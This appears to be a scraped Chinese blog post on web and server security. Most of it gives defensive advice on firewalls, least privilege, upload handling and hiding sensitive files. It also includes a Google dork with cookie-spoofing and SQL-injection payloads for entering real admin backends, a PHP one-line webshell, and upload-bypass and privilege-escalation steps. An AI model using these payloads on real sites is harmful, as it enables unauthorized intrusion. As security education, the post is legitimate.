「如何Web安全」?

從勒索病毒就能夠看出,其實病毒離咱們並不遠……javascript

1、引言

隨着對黑客淺略地瞭解,慢慢知道了這個鬼東西是一個多麼可怕的存在。php

但願能經過這篇文章,讓一些和以前的我同樣沒有對黑客一詞引發重視的人,加深一下對這方面的瞭解和關注!前端

接下來就以第一人稱 「咱們」 來表明黑客,談談Web安全吧(我的拙見)!java

2、小試驗

爲達到拋磚引玉的效果,咱們來動手作個小試驗,用簡單的方法進入網站後臺管理系統,只需三步:mysql

  1. 瀏覽器,谷歌搜索 inurl:szwyadmin/login.asp,隨便點擊進入一個網站;
  2. 咱們會在地址欄鍵入如下,並Enter:
    javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
    javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
    javascript:alert(document.cookie="admindj="+escape("1")); 
    複製代碼
  3. 關閉彈窗,把以前地址欄的 login.asp 改成 admin_index.asp,Enter一下! OK,如今咱們就已經進入後臺管理系統了!

由上可看出,使用Cookie欺騙+SQL注入的這麼3條JS語句(payload),就能夠打開後臺管理系統的大門。jquery

不注重安全的網站是多麼做死的一件事啊……c++

3、專業詞

  • 一句話木馬:網頁木馬的一種,代碼相似於 「<%execute request("value")%>」 。因代碼短小(通常只有一句話 )而得名,主要用於拿取WebShell
  • WebShell:以asp、php、jsp或者cgi等網頁文件形式存在,也能夠將其稱作爲一種網頁後門。 可使用瀏覽器來訪問它,以獲得一個命令執行環境,以達到控制網站服務器的目的。
  • XSS:惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入其中的Script代碼將被執行,從而達到惡意攻擊的目的。
  • SQL注入: 攻擊者構造惡意SQL語句,隨HTTP請求一塊兒傳入服務器,以達到操縱數據庫的目的(如上面的'or'='or'便是一次最簡單的SQL注入)。
  • 肉雞: 肉雞也稱傀儡機,是指能夠被黑客遠程控制的機器。黑客經常經過種植木馬,來達到遠控的目的。方式有不少:CobaltStrike等製做惡意Word文件,點擊中馬、經過WebShell上傳木馬、郵件中馬……

4、內容總覽

so,就以我目前瞭解的程度(入門級 o(∩_∩)o),從如下三方面來談談在下對 Web安全的一些見解:web

  • 服務器安全
  • Web後臺安全
  • 初識黑客

5、服務器安全

一、「Secure by Default」 原則

事實上,Secure by Default 原則也能夠概括爲白名單黑名單思想算法

若是更多地使用白名單,那麼系統就會變得更安全。  一白帽子講 Web安全
複製代碼

舉個例子吧:sql

某天你發現你服務器的 C:\Users\ 目錄(或Linux的 /home/ 目錄下)多出了一個陌生的文件夾?
複製代碼

這一般說明:你的服務器已被 「咱們」 登陸過了,那麼,該怎麼辦呢?

經過如Windows的事件查看器等來查到 「咱們」 的IP;
防火牆增長一條入站規則:限制該IP使用3389端口(遠程桌面,Linux爲22端口)。
複製代碼

以上即是黑名單思想

一樣,咱們也能夠預見:黑名單方式並不能真正解決問題!

由於 「咱們」 徹底能夠經過已控肉雞爲跳板,或直接使用代理的方式來更換IP。

因此你們應該更多地去使用白名單策略

配置防火牆只容許特定IP訪問,具體配置順序是先拒絕全部IP,而後容許某些特定IP訪問。如下是具體命令:

#Windows
netsh firewall set portopening TCP 3389 遠程桌面 ENABLE CUSTOM [容許訪問的IP]      
#Linux,IP格式也支持形如 192.168.0.0/16 的掩碼方式的IP段
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -s [容許訪問的IP] -j ACCEPT    
複製代碼

二、軟件默認值

你們都知道的一些經常使用軟件的默認端口:330六、143三、152一、3690、637九、5938 等。

以上這些,大家知道, 「咱們」也知道。這些端口都有可能被 「咱們」拿來作大範圍IP段的端口漏洞掃描!

因此,能夠考慮修改一下某些重要軟件的默認端口。這樣能夠躲避大多數的常規掃描。

仍是舉個例子,如下是 護衛神 默認安裝後的首頁,裏面的默認參數百出:

就問一句,這種東西,你怕不怕?

三、我的的安全意識

舉個例子:

這個是全球知名的漏洞平臺: exploit-db 網站上面公佈的某個漏洞(這不由又讓我想起了被封掉的烏雲平臺)。

2018年9月份公佈的一個關於JQ上傳插件的一個0 day漏洞

這個插件在Github上的地位, 29.6K的星星,使用者至關多(用過的前端大佬請對號入座)!

  1. 何爲0 day? 說白了就是第一手漏洞,系統商甚至都還徹底不知情。這類漏洞危害很大,甚至被黑客們用了好幾年,才被公佈出來!

  2. 用這個漏洞能夠幹嗎? 很簡單:很是容易地上傳一句話網馬、拿到WebShell、後提權、種植木馬、留下後門……

  3. 簡單到什麼程度? 隨便一個會用 Postman 的人都能上傳!

好了,因此說,我的安全意識也很重要!

例中能夠看到,某些網站會常常性地披露漏洞。而若是這些漏洞被「咱們」利用,製做了相應的木馬。而你的服務器(包括我的PC)恰好還未進行系統升級或打上相應的補丁,那麼你就有可能會成爲「咱們」的肉雞。

因此,有意識地爲系統升級、打打補丁、逛逛 Hacker News,仍是頗有必要的!

另外,一些殺毒軟件你也是應該安裝的。如今的殺毒軟件能殺掉大部分的流行病毒。

而做爲服務器,安全狗護衛神這類防護軟件也是須要的,它們除了擁有攻擊防禦的功能以外,還能找到殺毒軟件沒法查殺的一句話木馬。

最後還得友情提醒一句:儘可能不要在你的服務器上進行一些敏感操做(如轉帳等),由於也許「咱們」正經過VNC Viewer鍵盤記錄等功能,監視、記錄着你的屏幕和鍵盤呢……

四、訪問控制

  • 須要時請給不一樣軟件分配不一樣的用戶,作到垂直權限管理,即:root>mysql>訪客

如:安裝MySQL,應新建一個mysql的用戶,它只擁有特定文件夾和文件的讀寫權限,用於數據備份和恢復。

一旦你分配了高權限給mysql,當咱們爆破mysql帳戶密碼後,就可使用SQL語句的dumpoutfile命令寫入木馬文件到你電腦的lib\pluginc:\windows\system32\等關鍵目錄,以後即便用 udf提權 等方式,得到你電腦的超級管理員權限。

  • 不一樣軟件用戶應作到水平權限管理

一、mysql用戶應沒法寫入文件到apache目錄(防止mysql寫入網頁木馬到網站目錄,以拿取webshell); 二、apache用戶沒法寫入文件到mysql相關目錄(防止利用上傳漏洞寫入udf.dll等文件,從而進行 udf提權 )。

五、阿里雲

針對阿里雲服務器,一個叫作安全組的功能非常好用,它將是你的第二道防火牆!

它的做用相似於電腦防火牆,能夠添加容許訪問的IP、IP段和端口等;也能夠添加阻止訪問的IP、端口。

固然安全組策略的配置也應遵照「Secure by Default」 原則!

你應該優先配置安全組策略而不是本機防火牆!

由於「咱們」一旦得到了你網站的WebShell(或服務器的反彈Shell等),那麼「咱們」是能夠經過命令來隨意關閉你的防火牆的,可是想要操縱安全組卻不行!

說到這兒,忽然想起了上次的一個肉雞服務器:

1. 他察覺到個人存在;<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
2. 而後立馬修改了安全組白名單;
3. 我這兒邊,cmd看到他的防火牆被我關掉了,3389也一直開放着,但就是遠程不上 (┬_┬) 。
複製代碼

另外,阿里雲盾也是一個好幫手,目前阿里雲盾提供免費的DDoS防禦、安騎士、弱點分析等功能。

六、其餘

  • 若是沒有特殊須要,服務器能夠考慮關閉 ICMP 協議,說白點,就是禁止ping!

    • 咱們的許多工具如著名的NMap等,都有支持ping掃描的模塊,禁止ping能夠防止一些工具的惡意掃描。
    • 這樣作能夠防止類如 ICMP Flood的DDoS攻擊。
  • 若是不須要使用mysql的dumpoutfile函數進行數據備份,那麼請考慮使用 secure_file_priv 模式啓動mysql。

    • 這是mysql的一個新特性,用來限制load、outfile、dump、load_file等函數將文件導出到指定目錄(當ure_file_priv的值爲null ,表示限制mysql不容許導入|導出)。
    • 在mysql5.7.6後,這個參數默認爲null。「咱們」爆破過許多mysql帳戶密碼,可是大多都是以沒法導出文件而了結,這讓「咱們」很傷……

6、Web後臺安全

我就直接說說對於Web後臺的幾個小建議吧!

一、上傳相關建議

  • 應保證上傳目錄不具備可執行權限

    咱們能夠設置上傳路徑可讀可寫不可執行。固然個人建議是,經過諸如Nginx服務器,爲靜態資源(上傳的文件)配置靜態資源服務器,其本質就是經過 locationurl請求服務器物理路徑進行虛擬映射。

    能夠的話,最好單獨設置靜態資源服務器的域名,這樣可因瀏覽器同源策略的關係,使得一系列客戶端攻擊無效(如XSS)。

  • 上傳文件類型的校驗操做放在服務器端

    首先說說爲什麼要進行上傳類型校驗,我看來緣由有二:

    一、限制一些無關後綴名的文件上傳,致使帶寬浪費和服務器性能開銷;

    二、防止攻擊者上傳xx.php或xxx.asp等網頁木馬,從而拿到webshell。

    那爲何校驗要放在服務器端進行呢?

    這裏我直接舉個例子來講明:

    一、某網站使用JS來進行上傳校驗,咱們上傳了一張包含惡意代碼的圖片

    二、而後使用 Burpsuite 或 Wireshark 等工具對該請求進行抓包

    三、拿到十六進制包文件,改掉相應數據使得上傳文件後綴名變爲.php或.asp

    四、這樣騙過了前端,上傳了一句話網頁木馬!

二、敏感隱藏

  • 後臺管理入口的隱藏(包括你的phpMyAdmin)

    「咱們」一旦找到了你的後臺管理入口,就會使用各類技術進行爆破,後臺密碼爆破Cookie欺騙中轉註入等,這大大增長了網站服務器的危險係數。

    記得以前看過 職來職往 的一期節目,裏面一個騷年當說出:找到了58同城的後臺管理入口,就語驚四座!

    因此,隱藏後臺管理入口是一件頗有必要的事情。

    另外值得一提的是,把數據庫和服務器進行分離將會提升服務器的安全性,由於「咱們」有時爆破數據庫後,老是苦於沒法得知它的網站是什麼。 固然若是條件有限,也可使用Nginx等配置虛擬主機將其進行隔離。

  • 敏感文件的隱藏

    一、網站存在robots.txtweb.sitemap等文件,可能會泄露網站目錄結構;

    二、織夢默認的 xxx.com/data/admin/ver.txt 文件會泄露當前織夢繫統的版本。而通常「咱們」就能夠根據版本號去找相應織夢繫統的漏洞,如:

    三、phpinfo.php等敏感文件的處理或隱藏 這個文件我得多說一下,它能夠幫助「咱們」找到你的網站在你服務器的絕對路徑,這對「咱們」來講是一件很是有幫助的事。由於知曉了網站根目錄的絕對路徑,就能夠經過SQL注入把網頁木馬寫到你的網站目錄下;

    四、源碼和數據庫備份文件的隱藏 這是很是很是重要的!儘可能不要將源碼文件放在網站目錄中(除非設置所在文件夾訪問403)。不然「咱們」不免會使用爬蟲目錄掃描等手段找到你的源碼並下載下來,而後經過代碼審計等方式,很快找到你代碼中的一些敏感的東西,好比加密規則數據庫鏈接密碼支付密鑰等……

  • 敏感配置參數的隱藏

    一、支付相關的敏感參數,如商戶號、支付私鑰等 。

    二、上傳類型後綴名、禁用的函數名等敏感配置,這類配置參數,其實放在代碼裏就行。而織夢將其放在了數據庫:

    這將致使 「咱們」在爆破到數據庫後,經過添加容許上傳的後綴名(如.php)來上傳網頁木馬、刪除禁用函數(如eval)來執行網頁木馬。

三、其餘

  • 軟件漏洞的關注

    一、正使用着Struts2,那麼咱們就有理由去關注一下Struts2的命令執行漏洞;

    二、正在使用FckEditor、eWebEditor等富文本編輯器,它們給咱們帶來了豐富的輸入,同時也給咱們帶來了許多的漏洞;

    三、正使用Apache、Nginx、IIS,就應該瞭解一下Apache、IIS文件解析問題、Nginx的fastcgi的文件類型解析問題。

  • 加密

    一、加密時不要使用ECB模式;

    二、使用HMAC-SHA1代替MD5(甚至SHA1);

    三、使用隨機的salts(鹽)和IV(向量)。

  • 代碼

    一、使用預編譯(如Java的Preparedstatement)來防止SQL注入;

    二、使用view層的輸出編碼來解決XSS攻擊

7、初識黑客

前面一直在說拿WebShell、拿WebShell,那麼,拿到WebShell後能作什麼事情呢?

通常來講,可進行文件上傳下載、執行cmd命令等等。

一、一句話木馬

下面咱們看看著名的一句話木馬以及它的鏈接工具---中國菜刀(替代品:蟻劍):

#一句話木馬
<?php @eval($_POST[value]);?>
複製代碼

中國菜刀

瀏覽目錄
執行命令

二、WebShell大馬

如下是php大馬進行了編碼假裝後的樣子:

編碼假裝
訪問倒是這樣:
訪問的樣子

三、肉雞

中遠控木馬後,成爲肉雞:

中馬後成爲肉雞
中馬後成爲肉雞
中馬後成爲肉雞
中馬後成爲肉雞
上面能夠看到,基本上 服務器全部者能作的,你差很少都能作了!

實在作不了的,立刻添加一個用戶,遠程桌面去作……

四、黑客須要會點啥?

  1. Windows的dos命令須要會點兒吧? 操做防火牆、修改註冊表、操做計劃任務、操做系統服務,當前還有最基本的**添加用戶**和**隱藏用戶**等命令。
  2. Linux的shell命令須要會點兒吧? 一樣的添加用戶、刪除用戶、操做iptables防火牆、vi、tar、chkconifg、chmod、ps……
  3. 數據庫的SQL語句須要會點兒吧? SQL注入瞭解一下?
  4. JavaScript須要會點兒吧? JS不會,你搞什麼XSS?搞什麼CSRF?
  5. 加密與解密懂點吧? 爆破是一門技術活,熟悉加密算法、擁有好的字典、牛逼的社會工程學知識都能讓你在爆破速度上面有質的提高。
  6. php、asp、java這些得懂點兒吧? 網馬不就是利用這些語言腳本寫出來的嘛。另外好比c++,灰鴿子和不少木馬工具也是經過c++寫的,不瞭解一下就只能長期買別人的遠控軟件,甚至還帶着別人的後門木馬……
  7. 一些會用到的計算機網絡知識 如dns、tcp(tcp的syn)、udp、icmp、http等,在進行dns隧道、DDoS、網絡嗅探、arp欺騙等都用得着。
  8. 一些技術性的東西 如免殺技術、提權、滲透技術、爬蟲、抓包分析等。
  9. 不怕蹲監獄的心……
相關文章
相關標籤/搜索